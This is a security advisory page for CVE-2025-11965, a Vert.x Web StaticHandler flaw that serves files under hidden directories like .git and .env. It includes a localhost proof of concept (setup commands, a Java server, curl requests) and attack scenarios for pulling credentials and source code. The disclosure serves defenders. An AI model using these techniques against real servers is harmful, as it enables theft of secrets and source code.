Medium

Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories

Disclosed: 22.10.2025
Updated: 11.10.2026 13:20

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served.
Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

bash

1. Prepare test environment

# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git

# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config

java

2. Implement test server

import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle {
  @Override
  public void start() {
    Router router = Router.router(vertx);

    // Configure to not serve hidden files
    StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
      .setIncludeHidden(false)
      .setDirectoryListing(false);

    router.route("/*").handler(staticHandler);

    vertx.createHttpServer()
      .requestHandler(router)
      .listen(8082);
  }

  public static void main(String[] args) {
    Vertx vertx = Vertx.vertx();
    vertx.deployVerticle(new StaticHandlerTestServer());
  }
}

bash

3. Confirm the vulnerability

# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK

# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found

# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

.git/config: Git repository settings (e.g., remote URL, credentials)
.env/*: Environment variables (API keys, DB credentials)
.aws/credentials: AWS access keys
.ssh/known_hosts: SSH host trust info
.docker/config.json: Docker registry credentials

2. Attack Scenarios

Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
Especially dangerous for .git/HEAD, .git/config, .git/objects/* — which may allow full reconstruction of source code.

3. Affected Scope

Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
Environments: All OSes (Windows, Linux, macOS)
Configurations: All applications using StaticHandler.setIncludeHidden(false)

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Java / Kotlin (Maven)	io.vertx:vertx-web	< 4.5.22, >= 5.0.0, < 5.0.5	4.5.22, 5.0.5

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE): CWE-552
Platform: Java / Kotlin (Maven)
Package: io.vertx:vertx-web
Disclosed: 22.10.2025
Updated: 11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-h5fg-jpgr-rv9c - CC BY 4.0

Vulnerability history: io.vertx:vertx-web

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 7
First → latest: 10.2018 10.2025
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 2
High 2
Medium 2
Low 1

Disclosures per year

2018: 2
2019: 0
2020: 0
2021: 1
2022: 1
2023: 1
2024: 0
2025: 2
2026: 0

22.10.2025

Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names

Low · 4.9 CVE-2025-11966 < 4.5.22, >= 5.0.0, < 5.0.5 4.5.22, 5.0.5
22.10.2025

Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories this entry

Medium CVE-2025-11965 < 4.5.22, >= 5.0.0, < 5.0.5 4.5.22, 5.0.5
10.02.2023

StaticHandler disclosure of classpath resources on Windows when mounted on a wildcard route

Medium · 4.8 CVE-2023-24815 >= 4.0.0, < 4.3.8 4.3.8
10.02.2022

Path Traversal in Eclipse Vert

Critical · 9.8 CVE-2019-17640 >= 3.0.0, < 3.9.4 3.9.4
22.04.2021

Cross-Site Request Forgery in Vert.x-Web framework

High · 8.8 CVE-2020-35217 >= 4.0.0-milestone1, < 4.0.0-milestone5, >= 4.0.0-milestone2, < 4.0.0-milestone5, >= 4.0.0-milestone3, < 4.0.0-milestone5, >= 4.0.0-milestone4, < 4.0.0-milestone5 4.0.0-milestone5
17.10.2018

Eclipse Vert.x does not properly neutralize '' (forward slashes) sequences that can resolve to an external location

Critical · 9.8 CVE-2018-12542 >= 3.0.0, < 3.5.4 3.5.4
17.10.2018

High severity vulnerability that affects io.vertx:vertx-web

High CVE-2018-12540 >= 3.0.0, < 3.5.3 3.5.3

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